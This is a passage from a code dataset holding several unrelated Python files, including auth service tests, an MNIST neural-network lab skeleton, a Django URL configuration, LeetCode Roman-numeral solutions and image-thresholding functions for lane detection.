self.testbed.setup_env(overwrite=True, user_email=email, user_id='gid')\n\n claims = gae_auth_services.get_auth_claims_from_request(request)\n\n self.testbed.setup_env(overwrite=True, user_email='', user_id='')\n\n self.assertIsNotNone(claims)\n self.assertEqual(claims.auth_id, 'gid')\n self.assertEqual(claims.email, email)\n self.assertFalse(claims.role_is_super_admin)\n\n def test_get_auth_claims_from_request_returns_admin_privileges(self):\n request = webapp2.Request.blank('/')\n email = 'admin@test.com'\n\n # Google App Engine uses environment variables to emulate user sessions.\n self.testbed.setup_env(\n overwrite=True, user_email=email, user_id='gid', user_is_admin='1')\n\n claims = gae_auth_services.get_auth_claims_from_request(request)\n\n self.testbed.setup_env(\n overwrite=True, user_email='', user_id='', user_is_admin='0')\n\n self.assertIsNotNone(claims)\n self.assertEqual(claims.auth_id, 'gid')\n self.assertEqual(claims.email, email)\n self.assertTrue(claims.role_is_super_admin)\n\n def test_get_association_that_is_present(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid', 'uid'))\n\n self.assertEqual(\n gae_auth_services.get_user_id_from_auth_id('aid'), 'uid')\n self.assertEqual(\n gae_auth_services.get_auth_id_from_user_id('uid'), 'aid')\n\n def test_get_association_that_is_present_and_marked_as_deleted(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid', 'uid'))\n\n assoc_by_auth_id_model = auth_models.UserIdentifiersModel.get('aid')\n assoc_by_auth_id_model.deleted = True\n assoc_by_auth_id_model.update_timestamps()\n assoc_by_auth_id_model.put()\n\n self.assertEqual(\n gae_auth_services.get_user_id_from_auth_id('aid'), 'uid')\n self.assertEqual(\n gae_auth_services.get_auth_id_from_user_id('uid'), 'aid')\n\n def test_get_association_that_is_missing(self):\n self.assertIsNone(\n gae_auth_services.get_user_id_from_auth_id('does_not_exist'))\n self.assertIsNone(\n gae_auth_services.get_auth_id_from_user_id('does_not_exist'))\n\n def test_get_multi_associations_with_all_present(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid1', 'uid1'))\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid2', 'uid2'))\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid3', 'uid3'))\n\n self.assertEqual(\n gae_auth_services.get_multi_user_ids_from_auth_ids(\n ['aid1', 'aid2', 'aid3']),\n ['uid1', 'uid2', 'uid3'])\n self.assertEqual(\n gae_auth_services.get_multi_auth_ids_from_user_ids(\n ['uid1', 'uid2', 'uid3']),\n ['aid1', 'aid2', 'aid3'])\n\n def test_get_multi_associations_with_one_missing(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid1', 'uid1'))\n # The aid2 <-> uid2 association is missing.\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid3', 'uid3'))\n\n self.assertEqual(\n gae_auth_services.get_multi_user_ids_from_auth_ids(\n ['aid1', 'aid2', 'aid3']),\n ['uid1', None, 'uid3'])\n self.assertEqual(\n gae_auth_services.get_multi_auth_ids_from_user_ids(\n ['uid1', 'uid2', 'uid3']),\n ['aid1', None, 'aid3'])\n\n def test_associate_without_collision(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid', 'uid'))\n\n self.assertEqual(\n gae_auth_services.get_user_id_from_auth_id('aid'), 'uid')\n self.assertEqual(\n gae_auth_services.get_auth_id_from_user_id('uid'), 'aid')\n\n def test_associate_with_user_id_collision_raises(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid', 'uid'))\n\n with self.assertRaisesRegexp(Exception, 'already associated'):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid', 'uid'))\n\n def test_associate_with_auth_id_collision_raises(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid', 'uid'))\n # Erase the user_id collision, but leave the auth_id collision.\n auth_models.UserIdentifiersModel.delete_by_id('aid')\n\n with self.assertRaisesRegexp(Exception, 'already associated'):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid', 'uid'))\n\n def test_associate_multi_without_collisions(self):\n gae_auth_services.associate_multi_auth_ids_with_user_ids(\n [auth_domain.AuthIdUserIdPair('aid1', 'uid1'),\n auth_domain.AuthIdUserIdPair('aid2', 'uid2'),\n auth_domain.AuthIdUserIdPair('aid3', 'uid3')])\n\n self.assertEqual(\n [gae_auth_services.get_user_id_from_auth_id('aid1'),\n gae_auth_services.get_user_id_from_auth_id('aid2'),\n gae_auth_services.get_user_id_from_auth_id('aid3')],\n ['uid1', 'uid2', 'uid3'])\n\n def test_associate_multi_with_user_id_collision_raises(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid1', 'uid1'))\n\n with self.assertRaisesRegexp(Exception, 'already associated'):\n gae_auth_services.associate_multi_auth_ids_with_user_ids(\n [auth_domain.AuthIdUserIdPair('aid1', 'uid1'),\n auth_domain.AuthIdUserIdPair('aid2', 'uid2'),\n auth_domain.AuthIdUserIdPair('aid3', 'uid3')])\n\n def test_associate_multi_with_auth_id_collision_raises(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid1', 'uid1'))\n # Erase the user_id collision, but leave the auth_id collision.\n auth_models.UserIdentifiersModel.delete_by_id('aid1')\n\n with self.assertRaisesRegexp(Exception, 'already associated'):\n gae_auth_services.associate_multi_auth_ids_with_user_ids(\n [auth_domain.AuthIdUserIdPair('aid1', 'uid1'),\n auth_domain.AuthIdUserIdPair('aid2', 'uid2'),\n auth_domain.AuthIdUserIdPair('aid3', 'uid3')])\n\n def test_gae_associations_are_deleted(self):\n # Should not raise.\n gae_auth_services.delete_external_auth_associations('does_not_exist')\n self.assertTrue(\n gae_auth_services.verify_external_auth_associations_are_deleted(\n 'uid'))\n\n def test_disable_association_marks_model_for_deletion(self):\n gae_auth_services.associate_auth_id_with_user_id(\n auth_domain.AuthIdUserIdPair('aid', 'uid'))\n gae_auth_services.mark_user_for_deletion('uid')\n self.assertIsNone(\n auth_models.UserIdentifiersModel.get('aid', strict=False))\n","sub_path":"core/platform/auth/gae_auth_services_test.py","file_name":"gae_auth_services_test.py","file_ext":"py","file_size_in_byte":9584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"215162725","text":"import numpy as np\nfrom datetime import datetime\n#In this first part, we just prepare our data (mnist)\n#for training and testing\n\nimport keras\nfrom keras.datasets import mnist\n(X_train, y_train), (X_test, y_test) = mnist.load_data() # charge les donnees en les partagent\nnum_pixels = X_train.shape[1] * X_train.shape[2]\nX_train = X_train.reshape(X_train.shape[0], num_pixels).T\nX_test = X_test.reshape(X_test.shape[0], num_pixels).T\ny_train = y_train.reshape(y_train.shape[0], 1)\ny_test = y_test.reshape(y_test.shape[0], 1)\nX_train = X_train.astype('float32')\nX_test = X_test.astype('float32')\ny_train = y_train.astype('float32')\ny_test = y_test.astype('float32')\nX_train = X_train / 255\nX_test = X_test / 255\n\n\n#We want to have a binary classification: digit 0 is classified 1 and\n#all the other digits are classified 0\n\ny_new = np.zeros(y_train.shape)\ny_new[np.where(y_train==0.0)[0]] = 1\ny_train = y_new\n\ny_new = np.zeros(y_test.shape)\ny_new[np.where(y_test==0.0)[0]] = 1\ny_test = y_new\n\n\ny_train = y_train.T\ny_test = y_test.T\n\n\nm = X_train.shape[1] #number of examples\n\n#Now, we shuffle the training set\nnp.random.seed(138)\nshuffle_index = np.random.permutation(m)\nX_train, y_train = X_train[:,shuffle_index], y_train[:,shuffle_index]\n\n\n# #Display one image and corresponding label\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n#i = 1\n#print('y[{}]={}'.format(i, y_train[:,i]))\n#plt.imshow(X_train[:,i].reshape(28,28), cmap = matplotlib.cm.binary)\n#plt.axis(\"off\")\n#plt.show()\n\n\n#Let start our work: creating a neural network\n#First, we just use a single neuron.\n\ndef sigmoid(x):\n return 1.0 / (1.0 + np.exp(-x));\n\ndef compute_loss(y, A):\n return 1./2. * ( (y - A) * (y - A) )\n\ndef crossEntropy(y, A, m):\n return - 1. / m * np.sum( y * np.log(A) + (1. - y) * np.log(1. - A) )\n\n\n\n#affichage sigmoi\n#x = np.arange(-12., 12., 1.)\n#y = sigmoid(x)\n#plt.plot(x,y)\n#plt.show()\n\nepochs = 500 #1000\nlearningRate = 1\nm1 = 64\n\nx = X_train\n# W = np.random.rand(1, x.shape[0]) * 0.01\n# B = np.random.rand(1, 1) * 0.01\nW1 = np.random.rand(m1, x.shape[0]) * 0.01\nB1 = np.random.rand(m1, 1) * 0.01\nW2 = np.random.rand(1, m1) * 0.01\nB2 = np.random.rand(1, 1) * 0.01\n\nt1 = datetime.now();\n# 1 neurone\nfor k in range(epochs):\n\n\n # forward propagation\n # xp = np.matmul(W, x)\n # z1 = xp + B\n # A = sigmoid(z1)\n\n xp = np.matmul(W1, x)\n z1 = xp + B1\n A1 = sigmoid(z1)\n z2 = np.matmul(W2, A1) + B2\n A2 = sigmoid(z2)\n\n # cost function\n # loss = crossEntropy(y_train, A, m)\n loss = crossEntropy(y_train, A2, m)\n #print(loss)\n\n # back propagation\n # dW = (1./m) * np.matmul( (A - y_train), np.transpose(x))\n # dB = (1./m) * np.sum( A - y_train )\n # W = W - learningRate * dW\n # B = B - learningRate * dB\n dz2 = A2 - y_train\n dW2 = (1./m) * np.matmul( dz2, np.transpose(A1))\n dB2 = (1./m) * np.sum( dz2 )\n dz1 = np.matmul( np.transpose(W2), (A2-y_train) ) * sigmoid(z1)*(1-sigmoid(z1))\n dW1 = (1./m) * np.matmul( dz1, np.transpose(x) )\n dB1 = (1./m) * np.sum(dz1);\n W1 = W1 - learningRate * dW1\n B1 = B1 - learningRate * dB1\n W2 = W2 - learningRate * dW2\n B2 = B2 - learningRate * dB2\n\nprint('y_train : ')\nprint(y_train)\nprint('A2 : ')\nprint(A2)\nprint('loss : ' + repr(loss) + '')\n# print(loss)\n\nt2 = datetime.now()\nduree = t2 - t1\n\nprint('time: ' + repr(duree.seconds) + ' ')\n# print(duree.seconds)\n\n# print(\"Application on test : \")\n#\n# x = X_test\n# xp = np.matmul(W1, x)\n# z1 = xp + B1\n# A1 = sigmoid(z1)\n# z2 = np.matmul(W2, A1) + B2\n# A2 = sigmoid(z2)\n#\n# print(\"Result : \")\n# print(A2)\n\n#####TO COMPLETE\n","sub_path":"td2/lab2_skeleton.py","file_name":"lab2_skeleton.py","file_ext":"py","file_size_in_byte":3587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"235645748","text":"from django.conf import settings\nfrom django.conf.urls import include, url\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.defaults import (\n bad_request,\n page_not_found,\n permission_denied,\n server_error,\n)\nfrom django.views.generic import RedirectView, TemplateView\nfrom django.views.static import serve\n\nfrom pola.views import (\n AdminStatsPageView,\n EditorsStatsPageView,\n FrontPageView,\n StatsPageView,\n)\n\n\ndef sentry_raise_exception(request):\n raise Exception(\"This exception should be reported to Sentry\")\n\n\nurlpatterns = [\n url(r'^$', TemplateView.as_view(template_name='index.html'), name=\"home\"),\n url(r'^friends$', TemplateView.as_view(template_name='friends.html'), name=\"friends\"),\n url(r'^cms/$', FrontPageView.as_view(), name=\"home-cms\"),\n url(r'^cms/stats$', StatsPageView.as_view(), name=\"home-stats\"),\n url(r'^cms/editors-stats$', EditorsStatsPageView.as_view(), name=\"home-editors-stats\"),\n url(r'^cms/admin-stats$', AdminStatsPageView.as_view(), name=\"home-admin-stats\"),\n url(\n r'^cms/lang/$',\n login_required(TemplateView.as_view(template_name='pages/lang-cms.html')),\n name=\"select_lang\",\n ),\n url(r'^about/$', TemplateView.as_view(template_name='pages/about.html'), name=\"about\"),\n url(r'^cms/product/', ('product.urls', 'product', 'product')),\n url(r'^cms/company/', ('company.urls', 'company', 'company')),\n url(r'^cms/report/', ('report.urls', 'report', 'report')),\n url(r'^cms/ai_pics/', ('ai_pics.urls', 'ai_pics', 'ai_pics')),\n url(r'^grappelli/', include('grappelli.urls')), # grappelli URLS\n url(r'^admin/', admin.site.urls),\n # User management\n url(r'^users/', ('pola.users.urls', 'pola.users', 'users')),\n url(r'^accounts/', include('allauth.urls')),\n url(r'^i18n/', include('django.conf.urls.i18n')),\n # url(r'^api/', include('pola.api.urls', namespace='api')),\n url(r'^a/', ('pola.rpc_api.urls', 'api', 'api')),\n url(r'^m/', ('pola.webviews.urls', 'webviews', 'webviews')),\n url(r'^concurency/', ('pola.concurency.urls', 'pola.concurency', 'concurency')),\n url(\n r'^robots\\.txt$',\n TemplateView.as_view(\n template_name=\"robots.txt\" if settings.IS_PRODUCTION else \"robots-staging.txt\",\n content_type='text/plain',\n ),\n ),\n url(r\"^PrTy9Df7k3hCeRW-raise-exception\", sentry_raise_exception),\n]\n\nFAVICON_FILES = [\n \"favicon.ico\",\n \"apple-touch-icon.png\",\n \"apple-touch-icon-57x57.png\",\n \"apple-touch-icon-60x60.png\",\n \"apple-touch-icon-72x72.png\",\n \"apple-touch-icon-76x76.png\",\n \"apple-touch-icon-114x114.png\",\n \"apple-touch-icon-120x120.png\",\n \"apple-touch-icon-144x144.png\",\n \"apple-touch-icon-152x152.png\",\n \"apple-touch-icon-152x152.png\",\n \"apple-touch-icon-180x180.png\",\n \"browserconfig.xml\",\n]\n\nfor filename in FAVICON_FILES:\n urlpatterns.append(\n url(\n r'^' + filename + '$',\n RedirectView.as_view(url=settings.STATIC_URL + 'favicons/' + filename, permanent=True),\n )\n )\n\n# serving static files\nurlpatterns += [\n url(r'^static/(?P.*)$', serve, {'document_root': settings.STATIC_ROOT}),\n]\n\nif settings.DEBUG:\n import debug_toolbar\n\n urlpatterns += [\n url(r'^__debug__/', include(debug_toolbar.urls)),\n ]\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n # This allows the error pages to be debugged during development, just visit\n # these url in browser to see how these error pages look like.\n urlpatterns += [\n url(r'^400/$', bad_request, kwargs={'exception': Exception(\"Bad request\")}),\n url(r'^403/$', permission_denied, kwargs={'exception': Exception(\"Permission Denied\")}),\n url(r'^404/$', page_not_found, kwargs={'exception': Exception(\"Page not found\")}),\n url(r'^500/$', server_error),\n ]\n","sub_path":"pola/config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"495858938","text":"import os\nimport unittest\nfrom django.core.management import call_command\nfrom django.test import TestCase\nfrom frontend.models import Practice\n\n\ndef setUpModule():\n Practice.objects.create(code='A81044')\n Practice.objects.create(code='A81043')\n Practice.objects.create(code='J18105')\n\n\ndef tearDownModule():\n call_command('flush', verbosity=0, interactive=False)\n\n\nclass CommandsTestCase(TestCase):\n\n def test_import_practice_dispensing_status(self):\n args = []\n fname = 'frontend/tests/fixtures/commands/epraccur_sample.csv'\n opts = {\n 'filename': fname\n }\n call_command('import_practice_prescribing_status', *args, **opts)\n p = Practice.objects.get(code='A81044')\n self.assertEqual(p.get_setting_display(), 'GP Practice')\n p = Practice.objects.get(code='A81043')\n self.assertEqual(p.get_setting_display(), 'Prison')\n p = Practice.objects.get(code='J18105')\n self.assertEqual(p.get_setting_display(), 'Unknown')\n","sub_path":"openprescribing/frontend/tests/commands/test_import_practice_prescribing_status.py","file_name":"test_import_practice_prescribing_status.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"623684038","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n罗马数字包含以下七种字符: I, V, X, L,C,D 和 M。\r\n\r\n字符 数值\r\nI 1\r\nV 5\r\nX 10\r\nL 50\r\nC 100\r\nD 500\r\nM 1000\r\n例如, 罗马数字 2 写做 II ,即为两个并列的 1。12 写做 XII ,即为 X + II 。 27 写做  XXVII, 即为 XX + V + II 。\r\n\r\n例如, 罗马数字 2 写做 II ,即为两个并列的 1。12 写做 XII ,即为 X + II 。 27 写做  XXVII, 即为 XX + V + II 。\r\n\r\n通常情况下,罗马数字中小的数字在大的数字的右边。但也存在特例,例如 4 不写做 IIII,而是 IV。数字 1 在数字 5 的左边,所表示的数等于大数 5 减小数 1 得到的数值 4 。同样地,数字 9 表示为 IX。这个特殊的规则只适用于以下六种情况:\r\n\r\nI 可以放在 V (5) 和 X (10) 的左边,来表示 4 和 9。\r\nX 可以放在 L (50) 和 C (100) 的左边,来表示 40 和 90。 \r\nC 可以放在 D (500) 和 M (1000) 的左边,来表示 400 和 900。\r\n给定一个罗马数字,将其转换成整数。输入确保在 1 到 3999 的范围内。\r\n\r\n示例 1:\r\n\r\n输入: \"III\"\r\n输出: 3\r\n示例 2:\r\n\r\n输入: \"IV\"\r\n输出: 4\r\n示例 3:\r\n\r\n输入: \"IX\"\r\n输出: 9\r\n示例 4:\r\n\r\n输入: \"LVIII\"\r\n输出: 58\r\n解释: L = 50, V= 5, III = 3.\r\n示例 5:\r\n\r\n输入: \"MCMXCIV\"\r\n输出: 1994\r\n解释: M = 1000, CM = 900, XC = 90, IV = 4.\r\n\r\n\"\"\"\r\n\r\nfrom typing import List \r\nclass Solution:\r\n def romanToInt(self, s: str) -> int:\r\n # nums = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1]\r\n res = 0\r\n i = 0\r\n lenth = len(s)\r\n dic = {'M':1000, 'CM':900, 'D':500, 'CD':400, 'C':100, 'XC':90, 'L':50, 'XL':40, 'X':10, 'IX':9, 'V':5, 'IV':4, 'I':1}\r\n while i < len(s)-1:\r\n print(res,i,dic[s[i]])\r\n if dic[s[i]] >= dic[s[i+1]]:\r\n res += dic[s[i]]\r\n i += 1\r\n else:\r\n res += dic[s[i:i+2]]\r\n i += 2\r\n if dic[s[lenth-2]]>=dic[s[lenth-1]]:\r\n res += dic[s[lenth-1]]\r\n\r\n return res\r\nif __name__ == \"__main__\":\r\n a = Solution()\r\n print(a.romanToInt(\"LVIII\"))\r\n\r\nclass Solution:\r\n def romanToInt(self, s: str) -> int:\r\n d = {'I':1, 'IV':3, 'V':5, 'IX':8, 'X':10, 'XL':30, 'L':50, 'XC':80, 'C':100, 'CD':300, 'D':500, 'CM':800, 'M':1000}\r\n return sum(d.get(s[max(i-1, 0):i+1], d[n]) for i, n in enumerate(s))\r\n\"\"\"\r\n注释:d.get(s[max(i-1, 0):i+1], d[n])\r\n 这一句是精髓:\r\n 1 s[max[i-1,0]:i+1]取得是s[0],s[0:2],s[1:3]两两连续��字符\r\n 2 d.get(a,b)判断字符是否在字典内,如果a在,就返回键值,如果不在就返回b.其意思就是,从第一个字符开始\r\n 如果有两个连续的字符在字典里面,就返回对应的键值,如果这个两个连续的字符在字典里面,就返回当前的字符的键值\r\n 非常精妙\r\n 构建一个字典记录所有罗马数字子串,注意长度为2的子串记录的值是(实际值 - 子串内左边罗马数字代表的数值)\r\n\r\n这样一来,遍历整个 ss 的时候判断当前位置和前一个位置的两个字符组成的字符串是否在字典内,如果在就记录值,\r\n不在就说明当前位置不存在小数字在前面的情况,直接记录当前位置字符对应值\r\n\r\n举个例子,遍历经过 IVIV 的时候先记录 II 的对应值 11 再往前移动一步记录 IVIV 的值 33,加起来正好是 IVIV 的真实值 44。\r\nmax 函数在这里是为了防止遍历第一个字符的时候出现 [-1:0][−1:0] 的情况\r\n\r\n链接:https://leetcode-cn.com/problems/roman-to-integer/solution/2-xing-python-on-by-knifezhu/\r\n\r\n\"\"\"\r\n\r\nclass Solution:\r\n def romanToInt(self, s: str) -> int:\r\n dict = {'I':1, 'V':5, 'X':10, 'L':50,'C':100,'D':500,'M':1000}\r\n i,res = 0,0\r\n num = len(s)\r\n\r\n while i < num-1:\r\n if dict[s[i]] >= dict[s[i+1]]:#罗马字符和数字一一对应\r\n res += dict[s[i]]\r\n i += 1\r\n else:#两个罗马字符对应一个数字\r\n res += (dict[s[i+1]] - dict[s[i]])\r\n i += 2\r\n if i == num:\r\n return res\r\n else:\r\n return res+dict[s[-1]]\r\n\r\nif __name__ == '__main__':\r\n solution = Solution()\r\n out = solution.romanToInt(\"IV\")\r\n print(out)","sub_path":"编程/leetcode_Q/13.罗马数字转整数.py","file_name":"13.罗马数字转整数.py","file_ext":"py","file_size_in_byte":4534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"416378447","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 29 13:45:28 2019\n\n@author: morri\n\"\"\"\nimport operator\n#from sklearn.metrics.pairwise import cosine_similarity\nimport numpy as np\n\n#teacher said we can not use the \"工具包\", so...\ndef calculateCosineValue(q,dj):#parameters are vectors which present query's and doc's TFIDF\n return np.dot(q, dj) / (np.linalg.norm(q)*np.linalg.norm(dj))\n \n\ndef getSimilarity(docTFIDF, queryTFIDF):\n sim={}\n querysSim={}\n for query in queryTFIDF:\n for doc in docTFIDF:\n# sim[doc]=cosine_similarity(queryTFIDF[query].values.reshape(1,13353), docTFIDF[doc].values.reshape(1,13353))[0][0]\n sim[doc]=calculateCosineValue(queryTFIDF[query].values, docTFIDF[doc].values)\n querysSim[query] = sorted(sim.items(), key=operator.itemgetter(1),reverse=True)\n\n return querysSim;","sub_path":"HW1/calculateCos.py","file_name":"calculateCos.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"226325215","text":"import cv2\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport numpy as np\n\ndef threshold_rel(img, lo, hi):\n vmin = np.min(img)\n vmax = np.max(img)\n \n vlo = vmin + (vmax - vmin) * lo\n vhi = vmin + (vmax - vmin) * hi\n return np.uint8((img >= vlo) & (img <= vhi)) * 255\n\ndef threshold_abs(img, lo, hi):\n return np.uint8((img >= lo) & (img <= hi)) * 255\n\nclass Thresholding:\n \"\"\" This class is for extracting relevant pixels in an image.\n \"\"\"\n def __init__(self):\n \"\"\" Init Thresholding.\"\"\"\n pass\n\n def run(self, img):\n \"\"\" Take an image and extract all relavant pixels.\n\n Parameters:\n img (np.array): Input image\n\n Returns:\n binary (np.array): A binary image represent all positions of relavant pixels.\n \"\"\"\n hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n h_channel = hls[:,:,0]\n l_channel = hls[:,:,1]\n v_channel = hsv[:,:,2]\n\n right_lane = threshold_rel(l_channel, 0.8, 1.0)\n right_lane[:,:750] = 0\n\n left_lane = threshold_abs(h_channel, 20, 30)\n left_lane &= threshold_rel(v_channel, 0.7, 1.0)\n left_lane[:,550:] = 0\n\n out = left_lane | right_lane\n\n return out\n\n# Define a function that applies Sobel x or y, \n# then takes an absolute value and applies a threshold.\n# Note: calling your function with orient='x', thresh_min=20, thresh_max=100\n# should produce output like the example image shown above this quiz.\ndef abs_sobel_thresh(img, orient='x', sobel_kernel=3, thresh=(0, 255)):\n \n # Apply the following steps to img\n # 1) Convert to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n # 2) Take the derivative in x or y given orient = 'x' or 'y'\n if orient == 'x':\n sobel = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n elif orient == 'y':\n sobel = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n else:\n return None\n # 3) Take the absolute value of the derivative or gradient\n abs_sobel = np.absolute(sobel)\n # 4) Scale to 8-bit (0 - 255) then convert to type = np.uint8\n scaled_sobel = np.uint8(255*abs_sobel/np.max(abs_sobel))\n # 5) Create a mask of 1's where the scaled gradient magnitude \n # is > thresh_min and < thresh_max\n sbinary = np.zeros_like(scaled_sobel)\n sbinary[(scaled_sobel >= thresh[0]) & (scaled_sobel <= thresh[1])] = 1\n # 6) Return this mask as your binary_output image\n \n return sbinary\n\n# Define a function that applies Sobel x and y, \n# then computes the magnitude of the gradient\n# and applies a threshold\ndef mag_thresh(img, sobel_kernel=3, mag_thresh=(0, 255)):\n \n # Apply the following steps to img\n # 1) Convert to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n # 2) Take the gradient in x and y separately\n sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0)\n sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1)\n # 3) Calculate the magnitude \n abs_sobelxy = np.sqrt(np.power(sobelx, 2) + np.power(sobely, 2))\n # 4) Scale to 8-bit (0 - 255) and convert to type = np.uint8\n scaled_sobel = np.uint8(255*abs_sobelxy/np.max(abs_sobelxy))\n # 5) Create a binary mask where mag thresholds are met\n sbinary = np.zeros_like(scaled_sobel)\n sbinary[(scaled_sobel >= mag_thresh[0]) & (scaled_sobel <= mag_thresh[1])] = 1\n # 6) Return this mask as your binary_output image\n \n return sbinary\n\n# Define a function that applies Sobel x and y, \n# then computes the direction of the gradient\n# and applies a threshold.\ndef dir_threshold(img, sobel_kernel=3, thresh=(0, np.pi/2)):\n # Apply the following steps to img\n # 1) Convert to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n # 2) Take the gradient in x and y separately\n sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel) \n # 3) Take the absolute value of the x and y gradients\n # 4) Use np.arctan2(abs_sobely, abs_sobelx) to calculate the direction of the gradient \n grad_dir = np.arctan2(np.absolute(sobely), np.absolute(sobelx))\n # 5) Create a binary mask where direction thresholds are met\n sbinary = np.zeros_like(grad_dir)\n sbinary[(grad_dir >= thresh[0]) & (grad_dir <= thresh[1])] = 1\n return sbinary\n\n# A function that thresholds the S-channel of HLS\n# Use exclusive lower bound (>) and inclusive upper (<=)\ndef hls_select(img, thresh=(0, 255)):\n # 1) Convert to HLS color space\n hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n # 2) Apply a threshold to the S channel\n S = hls[:,:,2]\n binary = np.zeros_like(S)\n binary[(S > thresh[0]) & (S <= thresh[1])] = 1\n return binary\n\ndef thresholdPipeline(image, ksize=3):\n # Apply each of the thresholding functions\n mag_binary = mag_thresh(image, sobel_kernel=ksize, mag_thresh=(50, 255))\n dir_binary = dir_threshold(image, sobel_kernel=ksize, thresh=(0.7, 1.3))\n hls_binary = hls_select(image, thresh=(170, 255))\n combined = np.zeros_like(dir_binary)\n combined[((mag_binary == 1) & (dir_binary == 1)) | hls_binary == 1] = 1\n \n return combined\n\n","sub_path":"Thresholding.py","file_name":"Thresholding.py","file_ext":"py","file_size_in_byte":5232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"205108372","text":"import psycopg2\nimport psycopg2.extras\nfrom app.settings import DATABASE_CONFIG\n\nclass Setting_m:\n \n def __init__(self) -> None:\n self.conn = psycopg2.connect(\n host=DATABASE_CONFIG[\"host\"],\n port=DATABASE_CONFIG[\"port\"],\n database=DATABASE_CONFIG[\"database\"],\n user=DATABASE_CONFIG[\"user\"],\n password=DATABASE_CONFIG[\"password\"])\n\n psycopg2.extras.register_uuid()\n\n\n def list_keytag(self, keytag1, keytag2):\n try:\n cur = self.conn.cursor()\n query = \"select settingid, tag1, tag2, tag3, tag4, tag5 from t_setting where keytag1=%s and keytag2=%s\"\n cur.execute(query, (keytag1, keytag2, ))\n rows = cur.fetchall()\n if rows == None:\n return None\n else:\n result = []\n for row in rows:\n row = {\n 'settingid': row[0],\n 'tag1': row[1],\n 'tag2': row[2],\n 'tag3': row[3],\n 'tag4': row[4],\n 'tag5': row[5]\n }\n result.append(row)\n return result\n except psycopg2.Error as e:\n return None\n \n\n def readone_keytag(self, keytag1, keytag2):\n try:\n cur = self.conn.cursor()\n query = \"select settingid, tag1, tag2, tag3, tag4, tag5 from t_setting where keytag1=%s and keytag2=%s\"\n cur.execute(query, (keytag1, keytag2, ))\n row = cur.fetchone()\n if row == None:\n return None, \"Data not found\"\n else:\n result = {\n 'settingid': row[0],\n 'tag1': row[1],\n 'tag2': row[2],\n 'tag3': row[3],\n 'tag4': row[4],\n 'tag5': row[5]\n }\n return result, \"\"\n except psycopg2.Error as e:\n return None, str(e)","sub_path":"src/flask/app/models/setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"217368174","text":"\"\"\"\nGives verbose version of the argument (more readable version)\nex: h_1_input -> h1\n\"\"\"\n\ndef inputs(cur_input):\n \"\"\"\n Gives verbose input\n \"\"\"\n conversion = {\n 'eqpt_name': 'Equipment Name',\n 'project_number': \"Project Number\", \n \"tags\": \"Tags/Category\",\n \"eqpt_tags\":\"Equipment Tags\", \n \"eqpt_number\":\"Equipment ID\",\n \"mounting_location\": \"Mounting Location\", \n \"w_p_input\": \"W\\u209A\",\n \"s_ds_input\": \"S_DS\",\n \"a_p_input\": \"a_P\",\n \"r_p_input\":\"R\\u209A\",\n 'i_p_input':\"I\\u209A\", \n \"omega_input\": \"Omega\\u2080\",\n \"z_input\":\"z\",\n \"h_input\":\"h\",\n 